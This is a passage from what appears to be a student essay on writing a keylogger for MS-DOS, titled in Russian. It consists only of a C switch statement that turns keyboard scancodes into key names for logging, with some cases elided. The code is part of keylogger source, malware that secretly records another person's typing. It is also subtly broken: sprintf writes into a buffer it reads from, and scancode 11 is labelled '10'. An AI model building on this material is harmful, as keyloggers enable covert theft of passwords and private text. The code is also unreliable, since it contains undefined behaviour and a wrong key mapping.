Реферат: Кейлоггер под MS-DOS
}
else sprintf(str, "[Pressed]");
switch(scancode)
{
case 1: sprintf(str, "%s %s", str, "Escape"); break;
case 2: sprintf(str, "%s %s", str, "1"); break;
case 3: sprintf(str, "%s %s", str, "2"); break;
...
case 11: sprintf(str, "%s %s", str, "10"); break;
case 12: sprintf(str, "%s %s", str, "- or _"); break;
case 13: sprintf(str, "%s %s", str, "= or +"); break;
case 16: sprintf(str, "%s %s", str, "Q"); break;
...
case 26: sprintf(str, "%s %s", str, "[ or {"); break;
case 27: sprintf(str, "%s %s", str, "] or }"); break;
case 30: sprintf(str, "%s %s", str, "A"); break;
...
case 39: sprintf(str, "%s %s", str, "; or :"); break;
case 40: sprintf(str, "%s %s", str, "' or \""); break;
case 44: sprintf(str, "%s %s", str, "Z"); break;
...
case 52: sprintf(str, "%s %s", str, ". or >"); break;
case 53: sprintf(str, "%s %s", str, "/ or ?"); break;
case 57: sprintf(str, "%s %s", str, "Space"); break;
case 29: sprintf(str, "%s %s", str, "Ctrl"); break;
case 42: sprintf(str, "%s %s", str, "LeftShift"); break;
case 54: sprintf(str, "%s %s", str, "RightShift"); break;
case 56: sprintf(str, "%s %s", str, "Alt"); break;
case 14: sprintf(str, "%s %s", str, "BackSpace"); break;